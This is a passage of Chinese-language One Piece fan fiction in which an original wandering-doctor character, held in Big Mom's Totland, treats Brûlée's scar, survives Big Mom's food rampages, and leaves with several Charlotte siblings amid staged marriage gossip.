他跪在地上,浑身颤抖,等着咚咚咚的心跳逐渐变成轻轻的敲门声。没力气回话,他起身在门上也敲了一下,示意自己没事了。 也许清理的时间过得久了一点,不过他需要等这讨厌的感觉退去。推开门,他避开卡塔库栗的视线绕过他,小心地给自己倒了一杯清水。 “抱歉,先生,真是太失礼了,请联系布蕾小姐吧。” 卡塔库栗沉默了一会儿,掏出兜里的镜子敲敲,呼唤妹妹的名字。 游医给布蕾看诊的时候,他就抱着胳膊靠墙,观察着好像完全没事了一样的茵弗玛利。茶话会上...是他没预料过的未来。虽然想过他会拒绝妈妈,因此自己才提醒要他配合。不过这还是第一次有人忤逆妈妈还能活下来,虽然现在算是被监禁的状态,妈妈也没能抽走他的寿命,甚至对他颇为喜爱的样子。 他吃了什么?自己没注意过,好像佩罗斯大哥的糖果,还有妈妈的生日泡芙? 布蕾不知道刚刚发生了什么,她只知道面前这个温柔笑着的,比她小几岁的年轻人是做出那个神奇祛疤膏的奇迹游医。自己其实已经很满足了,如果卡塔库栗哥哥能够不在意她的伤,自由地做自己,那么她一辈子毁容也无所谓。更不要说现在已经淡了很多。 “没问题。” “啊、啊?” “没问题,布蕾小姐,其实要是当年我有多给您哥哥一些的话,甚至可能会比现在淡更多,但是不凑巧当时我也只有一罐。” “没、没问题是?” “我可以消掉它,小小的手术,很简单。” 紫发的高个子女子有些颤抖地看向自己的哥哥,“卡、卡塔库栗哥哥...” 茵弗坐到卡塔库栗房间里的床上,没注意他们兄妹的无声交流,闭眼揉着有些阵痛的额角。卡塔库栗注意到他仍然不太舒服的样子,走过来拍了拍妹妹的头后在旁边的椅子上坐下。 “什么时候?” 茵弗:“...您们不急的话,一周以后,我会给布蕾小姐一些术前准备的面霜。” 布蕾:“不急、不急的!” 茵弗睁开眼,偏头对她微笑。 卡塔库栗看妹妹脸红红地,笨拙地擦眼泪的样子,也在围巾下露出一个微笑。 布蕾走后,他还没离开去甲板上看看就被一道声音叫住了。 “来聊聊天吧,王子殿下,有关您妹妹的伤。” 声音有点闷闷的,他回过头看到茵弗玛利倒在床上,脸上压着一个枕头。于是再次走到床边椅子上坐下,一言不发地等着对方开口。 “...您妹妹受伤之后,是谁处理的?” 谁处理的? “托特兰的医生。” 小小的布蕾,满脸血地努力不要流出眼泪,笑着说自己不疼,哥哥做自己就好。薄薄的身躯被抬在同样单薄的担架上远去。 “...您的缝合线很好。” 茵弗玛利坐起来,对上疑惑的苋红色双眼。拉起对方的手指放到自己脸上,慢慢沿着自己刚刚在布蕾脸上描摹过的伤疤画着。 “不整齐的刀伤,撕裂严重,且有二次裂开的痕迹,造成了疤痕的延展。” 他丢开那只僵硬的大手,又倒回床上。 “您妹妹当时肯定很疼,因为无论是谁伤害的她,要么用了很钝的刀,要么就是故意歪歪扭扭地划的。” 卡塔库栗捏紧拳头,闭了闭眼睛,预知到他接下来的话,茵弗玛利缓缓开口: “您有那么漂亮的缝合线,她的伤口却更像是没怎么处理就让其自然愈合,甚至造成了二次伤害...为什么?” 因为...布蕾不强大。 所以那些想要报复他的人才找上她,所以妈妈没那么在乎她,那些医生也就不太在乎她。 “因为我没保护好她。” 茵弗笑了一声:“您现在能吗?” “我能。” 他必须得能。 不止是为了布蕾,还为了有所有的,妈妈视线之外的弟弟妹妹们。 茵弗歪歪身子看向他,突然换了个话题,语气变得调侃:“您的床很舒服呢,您真的不躺在上面睡觉吗?” 卡塔库栗噎了一下,觉得那么认真思考他问题的自己有点蠢,他向上拉拉自己的围巾后快步出了门,告知他们很快就到小麦岛,可以到甲板上等。躺在床上的人笑笑,嗅着鼻尖上淡淡的,糖霜的甜气。 - 久违地来到小麦岛,这里比他上次来时更要繁盛许多,看来卡塔库栗是真的蛮用心经营他的岛屿的。自然还是像曾经一样他一上岛就被崇拜他的居民们尖叫着围观。他太高,腿又长,反正他走一步茵弗得走好几步,在他突然停下时反倒是一直在赶他步伐的自己窜出去几米。 “?怎么?再不走您的粉丝要扑上来了。” 卡塔库栗示意了一下身旁经过的面包店。 “您想吃?那我在这里等——” “不、你之前在船上...我记得你上次来喜欢。” 哦、因为之前在船上知道他吐了,询问他是否需要买点喜欢的吃的吗?居然还记得他喜欢吐司啊...也对,当年管他要赔偿来着。 吃点东西也行,自己好不容易慢慢恢复的胃口,至少别在托特兰恶化。感谢地拍拍卡塔库栗的腿,说一句那您等等我嗷他就钻到面包店里,不太意外地看到对着门外的甜点将星发射喜爱光波的店员。 买了一份白吐司和南瓜吐司,可惜的对着可可吐司摇摇头后快速搞定。再不走真的粉丝们会围上来了。 “真好呀,小麦岛~” 茵弗坐在城堡里的大沙发上踢小腿,用软硬刚好的麦香洗涮掉最后的不适。没错,就该是这样的,他吃东西的时候不应该听到别人都听不到的惨叫。 小麦岛比起蛋糕岛也没有那么甜腻,正好让他最近缓冲一下。他得努力让他好不容易慢慢恢复的胃口别在托特兰恶化。 卡塔库栗指挥着霍米糍仆人们给客人收拾一间房,然后告诉他城堡里他可以随便逛。 “我不能随便出门呗?” 毕竟是...“做客”来着。 卡塔库栗考虑了一下:“不,只要不离开托特兰范围就没关系。妈妈大概也会找你去她那说话。” 还行,要是把他手上的炸弹环卸了就更好了。既然如此,在想到怎么离开之前就好好地了解一下这个近十年前就让自己好奇的土地吧。 听到他的请求卡塔库栗点点头,既然至少表面上是客人,那么接下负责招待任务的自己应对方要求带他参观一下托特兰也是合理的。也可以见一见兄弟姐妹们,毕竟妈妈还是想让茵弗玛利留在万国。只是如果不通过联姻—— “如果我跟您母亲说,我和您结婚我就留在托特兰她会同意吗?” ? 卡塔库栗惊讶地看向正随意地把剩下的一块吐司包好的茵弗玛利。 “你想和我结婚?” 茵弗摇摇头:“我只是好奇。” 卡塔库栗考虑了一下,自己实力强,又是将星,除非是比如和露娜莉娅族的人,或者同等价值的人,妈妈是不会安排他联姻的,自己也有一点选择的权利。毕竟只有她视线之外的弟弟妹妹们才会是联姻的首要人选。 茵弗玛利的话...应该还没到那种程度吧。虽然自己确实第一次看到那种反应的妈妈。 “不会。” 茵弗点点头,跳下沙发:“这样啊,那布蕾小姐呢?” 布蕾的话...当然。 “会。” 茵弗诶了一长声,询问道:“那万一我是个坏家伙呢?啊,虽然我也不算好人啦。” 卡塔库栗:“会。” 茵弗:“可是那样的话,您还能保护她吗?比如坏家伙的我,想在她脸上刻一百个伤疤的话。” 卡塔库栗僵着,一字一句的说:“那我会像当年给她复仇一样,对你复仇。” 茵弗拍拍他的腿:“可是答案仍然是''会''是吗?您也只能复仇,把我干掉,等着能有下一个茵弗玛利治好她的伤疤?” 他没有等到回答,只能耸耸肩绕开被固定在原地的高大男人,跟着霍米兹走向自己在托特兰的牢房。 虽然卡塔库栗没回答他,不过关于伤疤的故事倒是很快就知道了,在手术后由另一位当事人布蕾亲口告知。茵弗检查着她脸上的纱布,感谢她即使需要揭露痛苦的过去也回答了自己的问题。 “他是好哥哥呢。” “卡塔库栗哥哥是最好的、我只是希望我的伤疤没有之后,他就不要背负它了,已经够久了。” 茵弗笑着看这个眼睛亮晶晶地,带着悲伤微笑的女孩,“您真漂亮,就像凤尾兰。” “诶?诶??”在姐妹中不算漂亮,尤其是在毁容之后的布蕾捂住热起来的脸侧。毕竟自己也才二十多岁,少有被人夸赞外貌当然会欣喜。 她看着面前的医生一边在手上的夹板上写下术后恢复的注意事项,一边头也不抬地说: “他当年好像也说过类似的话,什么''她背负这道疤太久''这类的。我当时没太明白,不过现在看来,是说您因为他的伤疤受委屈太久的事情吧。” 互相背负着对方伤疤的兄妹啊。哥哥遮盖住自己的“不完美”来保护妹妹,而妹妹大方展示自己的“不完美”来鼓励哥哥。 “不过他没让我消掉他脸上的疤呢。” “啊、哥哥的话其实、遮住脸...” “因为他骨形特别?有獠牙?” 布蕾大惊,茵弗看她哑然的神色也就知晓答案了,摇摇头说道:“我没见过,但是当年检查他的伤疤摸出来过,也不知道具体是什么样的。” 不想展示就不展示吧,他那么努力地想要“保护”,不是吗? “总之按您的恢复速度再过一周到两周就可以拆纱布了,这是我做祛疤手术最完美的一次呢,希望您能满意。” ... “太满意了。” “好厉害啊,完全看不出来。” “太漂亮了布蕾妹妹,下次姐姐给你拿点更合适的腮红吧!” 茵弗坐在夏洛特姐妹们的小茶话会上慢悠悠地咬着不是“活着”的饼干。在有人提到对他的称赞时礼貌笑笑,或者竖一个大拇指。 其实布蕾纱布拆掉后第一个见的甚至不是卡塔库栗,而是听说他在她女儿身上做手术的BIGMOM,他自然是一起被叫去的。粉发的女王夸奖了他的医术,说他让自己的女儿“顺眼很多”。然后拉着她的新Brother在她那里吃了庆祝点心——布蕾当然没分到。 从镜子世界回到小麦岛他的胃就全部以他不喜欢的方式清空了,没管外面的兄妹是在为手术结果欣喜还是为他担心。既然这件事结束他就打算正式开始逛一逛托特兰,BIGMOM那里还是少去为好。 布蕾主动邀请他参加姐妹们的茶话会,也是为术后在大家眼前展示自己有些紧张吧。反正男性兄弟免进的茶话会跟他茵弗玛利有什么关系。 正好吃点不会一边唱歌一边哀嚎的点心做脱敏治疗,他可不想以后回去了以后见到甜食就ptsd。一块最多了,该死的。明明它们味道都差不多,但对他来说就是不一样。她的孩子们吃的都是正常的啊,为什么BIGMOM一定要吃活的?还要特意赋予灵魂再吃进肚子? “不喜欢我做的水果饼干吗,茵弗玛利医生?” “不,很美味,康博特小姐,您们称呼我可以随意一些。” 茵弗在自己手中嘻嘻笑的杯子上弹了一下,能听见。敲敲坐着的椅子,能听见。捏捏装着方糖跑过来的罐子,能听见。 面对夏洛特们的疑惑,他笑笑,十指交握将手放在翘起的膝盖上,换了个话题。 “如果我和您的母亲说,我与您结婚的话就留在托特兰,她会同意吗,卡斯塔德小姐?” “啊、也许?” “如果是您呢,阿曼德小姐?” “....” 很有趣,这个问题能看出来他们都十分清楚自己和其他兄弟姐妹们在这个家中的“作用”与“能力”。 母亲只有偶尔对年幼的孩子们才会出现“妈妈模式”,也就形成了年长的夏洛特会照顾年幼的,而年龄小的也会尊敬年龄大的这种自然而然的关系。同岁的或者同胞之间就没有那么多“关照”,小孩子们之间也会相互欺负,小小年纪便知道对妈妈有用的才是最好的,争斗打压,玩刀玩枪的也不在少数。 那些有能力的,可以派上用场的,会被封为大臣,而战斗天赋极强的则会同时作为将星。这些人的自由就是,不会轻易被联姻,尤其是几位将星。 而联姻对象如果BIGMOM想要的是对方的势力,那么把丈夫或者妻子杀掉也无所谓。如果想要的是那个人本身,就真的只是纯粹的联姻了。 所以假如就像那天他和卡塔库栗说的一样,他是个坏家伙,但是因为和布蕾结婚就同意留在托特兰而娶了布蕾。那么无论他如何伤害布蕾,他们也不能杀掉他。卡塔库栗甚至复仇都不会爽快。 这是夏洛特们的妈妈赐给他们的命运。 在对他们母亲的恐惧上,无论年龄大小,实力强弱,倒是出奇地一致了。也只有在这种时候,他们不再是丛林法则训练出的兽,而是即使摔倒,马上就要被犯思食症的妈妈杀掉,也要推开自己的兄弟姐妹,换他们活命的人。 像那互相背负的疤,生于海贼团的弱肉强食而留下的道道疤痕,总会有亲情来背负。 茵弗抱起摔倒的斯纳格,在BIGMOM“三色马卡龙”的尖叫声里打了个滚,没能完全避开踩下的高跟鞋,在居民们逃跑的尖叫声,楼房倒塌的轰鸣声和夏洛特们无用的呼唤母亲的呼声里听到自己腿骨断裂的声响。 还好自己帮忙疏散时在边缘,差一点就来不及了。 “卡塔库栗!!” 卡塔库栗才堪堪救下差点被妈妈吸走寿命的嘉蕾特,听到茵弗玛利的叫声回头,下意识伸出年糕,预见未来地接住对方抛过来的斯纳格。 看茵弗玛利爬不起来的样子,还有妈妈刚刚抬起的脚,他瞬间就明白发生了什么,刚要再次伸出年糕想要把他拉过来,却被拒绝了。 顺着对方指着的方向看去,佩罗斯佩罗用来支撑倒下建筑的糖果快要被暴怒的妈妈砸断了,底下还有大量的居民在逃跑撤离。 “快点!!” 卡塔库栗咬咬牙,将斯纳格交给赶过来的欧文,飞身上前用能力固定住建筑的同时支起屏障,阻挡妈妈无差别的攻击。 ''您现在能保护好他们吗?'' 面对自己的母亲? 茵弗趁短暂的喘息时间摸了一下自己的腿,完全断掉了。他撕掉一条衬衫,随手拿过一块某个屋顶掉下来的硬板,忍着痛匆匆做个固定后支着另一条腿爬起。 这就是思食症? 就像是某种成瘾后的戒断反应,或者极度压抑的某种渴望以冲散精神的方式反弹。无规律地,突然地,释放一个行走的人形天灾。 “妈妈!” “妈妈!放过布蕾吧!” 布蕾? 他刚支着自己的刀挪到一堵倒塌的墙形成的安全区就听到夏洛特们焦急的呼喊。 被BIGMOM抓在手里的的确是布蕾,不远处有几面巨大的镜子,应该是想用能力帮忙时被抓住了。 “是你..拿走了我的三色马卡龙?” “我没有,妈妈!我是布蕾啊!我不会的!” “【Life】or 【Sweets】!” 他没看清布蕾被吸走多少年的寿命,只知道那个好不容易摆脱疤痕,不好意思地跟姐妹们试各种化妆品的漂亮凤尾兰开始在夏洛特们悲痛的声音里枯萎,眼角出现皱纹。 好吧,行吧,去他的吧,那可是我的病人啊。 他深吸一口气。 “马卡龙!被我吃—掉—了!” 被丢开的布蕾不再失去寿命,他也不再关注,总会有兄弟姐妹们接住她的。他全部注意力必须集中在他面前的威胁上,没法逃,也大概接不住那断掉蛋糕山的一拳。 “三色马卡龙——!” “啊,超好吃的呢。” 混蛋、我要加倍的诊费啊。 - 说了加倍就是加倍,卡塔库栗的什么腕带臂环统统带走。他在腿上放着的巨大首饰盒里挑挑拣拣。 “您怎么现在都不戴了啊,您看看,这个都锈了。” 卡塔库栗坐在病床旁边,歪了歪头。 “也戴,不多,有点麻烦。” 茵弗闻言将盒子放到一边,歪过身子就要拉他的手,吃痛地嘶了一声。 卡塔库栗把他扶起来,主动伸出手,任由茵弗玛利像当年一样拿走了他手腕上的首饰。虽然这次只是一个简单的黑色皮绳而已,上面有一些蛇鳞般的暗纹。 “那就它吧,我也得跟上您的审美,之前那个丢了,不过我记得全是刺来着。” “丢了?” “啊,遭海难了,我的好多东西都被卷走了。” 茵弗满意地看着那些花纹,小心地抬起胳膊,用它把散着的头发扎起来,轻轻甩了两下脑袋。 “好看不?” 金色的头发被黑色的皮绳扎成小小的低马尾,普普通通,要是带刺的那个可能还更亮眼一点。不过卡塔库栗眯眯眼,说了句好看。 茵弗嘻嘻一笑,问他布蕾怎么样了。 “她还好,妈妈大概抽走她十年的寿命吧,至少没受什么伤。”卡塔库栗坐直身体,清清嗓子说道:“当时、谢谢——” “喂——!我听说你醒了啊!” 病房的门哐地一声被推开,茵弗下意识捂住耳朵,又因为突然扯动身体痛地缩了一下。 “注意安静啊,克力架先生!首先,这是医院,其次,现在很晚了诶。” “就是很晚了你的救命恩人来看你你才应该感恩戴德啊!对吧,佩罗斯大哥!” “救了我的是长面包先生、不、是三色马卡龙吧。” 就算最后那一击的瞬间有什么饼干年糕糖果的帮他挡了一下,那也是在打穿后带着仍然不小的力道砸在他身上。 反正断了几根肋骨,没戳破内脏都是他长得好,走大运。晕过去一周,现在才知道当时长面包厨师长匆匆赶到,避免了他被BIGMOM捏死的命运。 舔着糖果的男人优雅地关上门,忽视自己的弟弟,用糖果凝了张椅子也坐到病床附近,表达慰问和感谢。 “啊、虽然很想说不必客气,但是要是能给我点钱就更好了。” “当然当然佩罗琳,你可是妈妈的客人。” 茵弗摆摆手示意不必,给他送钱就好了,家那边还有用呢。 克力架嗤了一声:“你小子还想回家?妈妈不会放你走的。” 茵弗:“过一阵再说,我还没体验完万国呢。” 佩罗斯佩罗古怪地笑笑:“妈妈的思食症也是你体验的一部分吗佩罗琳?” 茵弗点头:“算是吧,没死就算体验。” 不过自己手上的炸弹手环倒是没了,不知道是那天被破坏了没炸,还是医生们在处理他的伤的时候嫌碍事解掉了。也算某种因祸得福?茵弗又摸了摸佩罗斯 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不过这一次卡塔库栗倒是主动关心他了。 “你在妈妈那吃了什么?每次都、” 茵弗坐在床上,感谢他递过来的清水。 “就是甜食,只是会唱歌跳舞的甜食我的胃接受不了。” 卡塔库栗皱眉:“有什么区别?” 茵弗:“就是啊,有什么区别呢?为什么她一定要吃活的?虽然她的果实让她可以通过吸收灵魂来增强力量,恢复身体,但是没必要一定要用吃这种方式不是吗?” 卡塔库栗也不知道,他的记忆里妈妈一直都很喜欢赋予甜食生命,然后再吃下去。但是他看了看茵弗玛利不舒服的样子,说他腿好之前可以带着他继续逛托特兰,毕竟自己也保证过的。女夏洛特那边布蕾带着也逛的差不多,男夏洛特的领地正好他来。 布蕾在知道后也说要一起,茵弗当然同意,毕竟又不是只有一个人能带他,只不过现在腿不方便,卡塔库栗能让他坐在肩上或者胳膊上而已。 “我很遗憾您失去了十年的人生。不过您还是很漂亮,这次绿色的眼影很衬您的头发。” 布蕾看起来精神还不错,要不是习惯了妈妈的这种行为,就是她自我开导能力很好——大概二者都有吧。 “唔咿唔咿如果不是你,我大概失去的就不止十年了。眼影是佩罗斯大哥送的呢,还有一盒紫色的我下次也想试试看。” 总之虽然一开始只有卡塔库栗和布蕾,不过听说他出院并且继续游玩托特兰的消息很快就传开了,经常性就是还会多几个夏洛特一起。这种小姐妹兄弟之间会聊八卦的感觉倒是蛮可爱。年龄小的会一半和他聊天,一半夸最崇拜的卡塔库栗哥哥什么的。 奶油岛、利口酒岛、奶酪岛。早年间出征掠夺带回来财富建设岛屿,慢慢地变成自我运转的一套体系。很多人都愿意加入托特兰,因为这里是海上皇帝的领地,在新世界是算安全又富足,至少吃不会有问题。即使隔一段时间就要上缴寿命,不会活得那么长也无所谓。毕竟是随时都有可能被海贼杀死,还是除了犯思食症的女王外,能基本没什么太大危险地活到六十岁,很多人都会想选后者。 茵弗抱着卡塔库栗的脑袋,把头放在他苋红的发上看居民们上缴寿命。所以他吃的也有这些人咯? “我下一次从您们母亲那回来一定会狠狠地呕吐的。” “医生开得止吐药不好用吗佩罗琳?” “我觉得以后不会再有用了。” 他拍拍卡塔库栗,顺便接过佩罗斯佩罗递来的棒棒糖:“走吧,这里看够了。” 图书馆很好,蒙多尔也很热情地取出果实能力的书,为他介绍他母亲收集物种的收藏。茵弗借了几本神经学的医书,和善回应不,不必了,我不是很想和您母亲一起一边欣赏图鉴一边吃下午茶,然后在蒙多尔可惜的神色里离开了这里。 “托特兰(total land)啊...” 克力架:“怎么?” “您们也是''万''(total)的一部分呢。” 克力架:“当然了吧,走,去我的饼干岛吧!你的腿好的差不多了就快点来打架!” BIGMOM的孩子们也只是“万”的一部分罢了,和那些被封印在书里的家伙比只是因为获得了“夏洛特”这一名字而幸运一点而已。 长腿族,蛇首族...去父留子。 他们只要在她名为万国的玩具房里存在就好,无论以什么形式。 和她一周一次的“茶话会”也慢慢了解了一些她的过去。上一秒还在说“爸爸妈妈没有回来接我”的孩子,下一秒就变成狰狞说着“只给我留了一包甜食的混蛋”的海贼。 “巨人生玲玲的气了,Brother。”——“我要让巨人族也存在于托特兰!” “只有修女和大家接受我。”——“所有的种族,都应该幸福地坐在老娘的桌旁!” 万国啊...即使浮于表面也好...“大家都和玲玲好好相处了,修女,快回来一起开茶话会吧!” “您想要大秘宝吗?” “哈?当然了吧玛玛玛玛!能拿到罗杰那混蛋留下的宝藏当然好啊!” 茵弗点点头,肯定克力架的咸味饼干。 他表示自己想要多多的,尤其是去和他母亲聊完天后。克力架这个一群爱吃甜食的家人里喜欢咸口味的将星如找到知己般拍着他的肩膀,说包在你哥哥我身上吧。 然后他们打了一架,他猜的没错,克力架就是很白,而且是个超级怕疼的家伙。 “腿痛啊...” “该死的...老子浑身都痛啊啊啊!” “哦,内部破坏打您真的出奇地有用。” “我杀了你!!卡塔库栗哥你看他!” 不能离开托特兰,不代表不能回波比。好像所有人都忘了给他再次戴上炸弹手环,不过还是要在被监视下活动。上次只有卡塔库栗,这次倒是夏洛特们了,没关系,他很愿意请人在波比上做客,炫耀他漂亮的大蜗牛。他工作的时候,他们随意的在波比上玩就好了,只是调皮的那几个不允许进他的工作室和药园。 佩罗斯佩罗看他一只手抱着年幼的罗拉轻轻晃着,一手熟练地在一个研药钵里捣着什么,给自己怀里的戚风递了一块糖。 “你意外地很会带小孩呢佩罗琳。” “哪里哪里您也一样。” “毕竟是长子。” 自己的试验品做好的时间卡得很好,赶在下一次思食症爆发前准备好了。 这次他没有去帮忙疏散人群,将照顾年幼夏洛特的任务也交给了卡塔库栗他们,上次的事情后他们也更加小心。 “卡塔库栗先生!把我弹上去!” “喂——你要干嘛!快回来!这次老子不会救你了!” 富有弹性的年糕将他托住,顺着手指的方向上方弹起。他背着巨大的口袋跳到附近最高的建筑上,在其倒塌倾斜时跑了几步跃起,与尖叫着栗子卷蛋糕的女人对视,然后把整个口袋丢到她嘴里。 “栗子卷———诶?” 茵弗从接住他的年糕上起身,看向静止不动的天灾。成功了? “你给妈妈吃了什么?” “药。” 这是思食症引起灾难最小的一次。因为女王没有继续破坏,只是陷入一种迷茫,争取的时间足以让长面包厨师长送来真正的栗子卷蛋糕。 茵弗接过佩罗斯佩罗递回来的纸,目光再次扫过上面自己的字迹后放到一边,喝了一口茶。 “总之就是这样,我模仿甜食的运作原理,配了一种在瞬间激发满足感与幸福感后放松神经的药物,她没吃到想要吃的,但是她的大脑以为她吃到了,或者说,吃到能让她同样幸福的东西了。” 佩罗斯佩罗舔着糖果点了点头。虽然当时茵弗玛利突然跑去给妈妈喂东西他们都有些紧张,但是几个月的相处他们相信当时的他手里的不会是毒药。 “平时也可以使用吗佩罗琳?” “我不建议。因为您母亲的体格体质,我用的量非常的大,原料也有一些特殊性,过多使用对她来说可能会成瘾。” 这可不是能随时做出来的甜点,如果来一个药物版本的“思食症”那带来的灾难可就会是现在的千百倍了。只是在她犯病时救急而已,反正她清醒过来不会知道自己吃了什么。清醒状态下给一个已经精神割裂感很强的人吃这种东西会出问题的。 她可是不断追求“满足”与“万”的女人。 佩罗斯佩罗房间里的镜子被敲了几下,布蕾探出身子,说到了每周送他去妈妈那里的时间。 茵弗叹了口气。 看过灵魂采集过后他更不愿意去吃那些唱歌的点心,不论它们再怎么央求他。可惜,他还是得吃,和BIGMOM聊天,听她每周都要问在托特兰最近的游历有没有看上她那个儿子女儿这类的,还有他知不知道她的Mother去哪了。 “也许您可以再给我讲讲在她消失前您们最后一起做了什么?之前的事情我已经知道了。” “玛玛玛玛玛,当然了———” 吃掉我吧,泡芙说;喝掉我吧,红茶说;茵弗笑着看面前露出茫然神色的孩子回忆着那场盛宴后的空无一人,还有突然出现在她身上的,修女的能力。 “这样啊...” “修女去哪里了?Brother?” 茵弗的视线扫过桌子上的灵魂们,将安慰的手从她手上收回。 “您很喜欢吃''活着''的点心呢,Sister玲玲。” 孩子又变回了海贼女王,大笑着往嘴里塞同样欢笑着的,填满奶油与巧克力的闪电泡芙。 “因为很熟悉呢,美味的甜食。不过你还没回答我呢,Brother。” Mother去哪了? “让我离开托特兰吧,Sister,我是游医,我会帮你找的。” 这里没有让他好奇的东西了。 64.夏洛特与飞鸟 想要离开托特兰,就必须满足女王“孩子”的一面和“海贼”的一面。 所以茵弗提出帮她寻找修女加尔默罗,同时表明自己来新世界的一大原因是想要去艾尔巴夫,所以离开后愿意带着她的孩子一起,看看能否修复他们之间的关系。 “您们母亲将带谁走的权利给了我,而我将交给您们。” 不是所有的夏洛特都在,只是更熟的几位,但是佩罗斯佩罗在这里,所以权威性也有保障,他大概会结合意愿与能力水平综合考虑的,毕竟是BIGMOM的副手,即使他不是将星。他不弱,但是大局观与脑力,有时候比武力更重要。 果然,他的第一个回答没有提出人选,而是询问道:“妈妈的思食症,你走了之后我们如何获得药物佩罗琳?” 茵弗:“买?或者贿赂我?” 高礼帽的男人舔着糖果,语气平淡地说: “【夏洛特】不会成为你的朋友,奇迹游医。” 茵弗:“啊,但是【佩罗斯佩罗】可以。” BIGMOM不会是他的朋友,但是Sister玲玲可以。这就是托特兰对他来说的运作模式。 他擦掉手指上的饼干渣,双手交握放在翘起腿的膝上,“我不怎么喜欢这儿,我从来都不想对甜食和日常用品给自己做脱敏。” 气氛凝固了,布蕾的脸色变得苍□□架捏住自己的剑。阿曼德叼着未点燃的烟,摸了一把抓住她裙子的戚风的头。只有他那间牢房的看门者卡塔库栗,大概知道他日常生活中的难受,知道他戴起了手套,知道他“不喜欢呕吐”是多么的不喜欢。 所以茵弗打量着他们的反应,失望,愤怒,背叛,只有他和佩罗斯佩罗神色如常。然后苋红色头发的男人弯起眼角——偷看未来的家伙。 “放松点,小甜点们(Sweeties),我在这片土地上没法生活,但是我没说我讨厌您们。” 躲开头上带火花的男人恼羞成怒投过来的武器,他又拿起一块饼干咬了一口。茶话会继续,就像那天一样。佩罗斯佩罗没有再提思食症药物的事,他已经做好选择了。 “库库库,关于人选你有建议吗佩罗琳?” 被询问的人摇头:“艾尔巴夫和您母亲之间的关系破裂内情您可能比我更清楚,能否修复主要看您们自己。” 其实佩罗斯佩罗走一趟是最好的,足够聪明,懂得语言的艺术,知道何时进退,如何发挥他自身的和夏洛特的优势。但是在外界眼中他又又太过于【玲玲】,所以也许会引起巨人们更强烈的抗拒。 将星们的话,卡塔库栗太“完美”,斯慕吉年龄经验还不足,只是刚当上将星而已,克力架的话...暴躁了一点。 茵弗玛利:“嘛、其实就当跟着我出去玩一圈也行。就算没能获得巨人族的原谅您们母亲也怪不到您们,因为我跟她说了我只是去尝试,所以谁来其实都行。” 出去玩?任务失败没有惩罚?这对夏洛特们来说可是稀奇到几乎不存在的经历了。他们生于斯长与斯,有自己的船的人离港要么是出征,要么是为妈妈收集某种甜食。出去玩什么?怎么玩?这是陌生的概念。 面前的几个人明显该坐直的坐直,该兴奋的兴奋,但是都压抑着,谁都没有先开口。 克力架咳嗽了一下:“咳、嗯,将星应该...不能去玩吧...不不不,就是因为是将星所以更适合为了妈妈去艾尔巴夫!” 阿曼德:“就你那性子...搞砸了怎么办...要沉稳...我——” 布蕾:“哥哥姐姐说的对!卡塔库栗哥哥最沉稳了!也是将星!” 卡塔库栗:“咳、我已经出海很多次了,布蕾想去的话也...” 罗拉:“我也想看看外面...” 大福:“乖哦,罗拉,这次就让哥哥我先替你...” 茵弗有点好笑地看他们七嘴八舌地找理由。佩罗斯佩罗居然都沉思起来了,是在想怎么让自己名正言顺的出去玩还是在考虑派谁去最好? 嗯...要不要再添一把火呢? 他慢悠悠地开口:“啊,不在这里的夏洛特们也可以的,他们——” 佩罗斯佩罗立马递给他一根糖果示意他闭嘴:“没关系佩罗琳,我身为长子替弟弟妹妹们考虑也是应该的,我们先聊。” 噗、所以是前者。 托特兰的一切都是为女王服务的,岛屿,居民,夏洛特。就像他遇见的太多太多人,他们不知道除此之外还能怎样的活。自己到了罗杰的船上开始做孩子,他们从生下来到现在,都是妈妈的【夏洛特】。 再看他们吵下去只会让自己难过,茵弗拍了一下手,就像是在波比上吸引艾斯他们的注意力。 “我跟她说''带她的孩子''又没说只带一个。” 众人激动一下,又蔫吧下去。那也不可能带所有人走,即使年龄太小的不算,也有太多的夏洛特。吐着舌头的长子环视自己的弟弟妹妹们,目光在布蕾的紫色眼影上停顿了一下。 “库库库...作为临别礼物,我很愿意送你一面漂亮的大镜子放到波比上。” 突然转移的话题让茵弗愣了一下,顺着佩罗斯佩罗的视线看向疑惑的布蕾后没忍住笑了出来。贪婪的海贼,贪婪的夏洛特。 “哈哈哈,能藏好吗?” “不让妈妈知道就行了佩罗琳。” - 世界经济新闻报又有了大新闻。自奇迹游医拒绝三皇BIGMOM的联姻,被扣押生死未知后,他再次在托特兰的海域外出现了。 茵弗不介意摩尔冈斯给他的新闻会被涂成黑色,白色,还是灰色。所以别的颜色他也想玩一玩,桃色杏色樱色,也无所谓。 没错,奇迹游医带着几位赫赫有名的夏洛特大概是,也许是,估计就是抵不住BIGMOM的压力,又无法抛开游医天性,要在旅行途中和几位培养一下感情然后选某一位结婚。 让全世界猜他会成为哪一位夏洛特的伴侣吧,顺便猜猜他是会住在托特兰还是会带着另一半回到奥比塔拉去吧。 其他的什么去修补巨人族关系啊,什么游玩旅游啊,什么合作啊没人知道就好了。他身边的夏洛特换来换去的也不许说,按着提供的人员名单报。信天翁把报纸卖了个爽,天天挥着翅膀嘎嘎地叫着加印加印。只要不影响他编八卦,茵弗的要求都通过通过。 况且他也不敢惹夏洛特·佩罗斯佩罗。 “哇...这上面说如果选大哥的话就会搬到托特兰,如果是我的话就会回奥比塔拉,凭什么啊!!老子不配让这个混蛋呆在托特兰吗!” “库库库...现在谁的票数比较高?” “唔咿唔咿,阿曼德姐姐呢。” “哈??昨天不还是老子吗!!佩罗斯大哥!给摩尔冈斯打电话虫吧!” “库库库。” 茵弗训练室的房间里,新增了一面和墙差不多大的镜子,现在大大小小的夏洛特围在一起读报纸。关于他到底会和谁结婚,摩尔冈斯支持读者们通过多买报纸的方式投票。反正天天都占很大一个板块,编一些真真假假的昨日“亲密举动”然后列出当天投票结果,热热闹闹的。 BIGMOM知道了也无所谓,他要是真的这一趟结束就选一位联姻了,估计她也开心,甚至还打电话虫来问“进度如何”。 不过“名单”,也就是茵弗明面上带走的人选只有三位:佩罗斯佩罗、克力架、和阿曼德。所以摩尔冈斯在发现话题爆火之后特意亲自来电告知:下一次请多带一些,年龄大年龄小的都来一点,这样他能赚得更多。 原来...这世界上的人都这么闲的啊...还是说难得有这么大的八卦...大家都很喜欢呢?茵弗在给他们送茶点后无语略过吵吵嚷嚷的房间,回到图书室打电话虫。 给雷利报个平安,然后拜托他转告所有人就好,顺便问一下那边的近况。还有,是的,我没有要结婚。 门被敲了几下,嘉蕾特的脑袋探进来,说快要到蔓岐亚岛了。 “好的,小姐,您的兄弟姐妹们谁想去都安排好了?无人岛的话人多一点也没关系。” 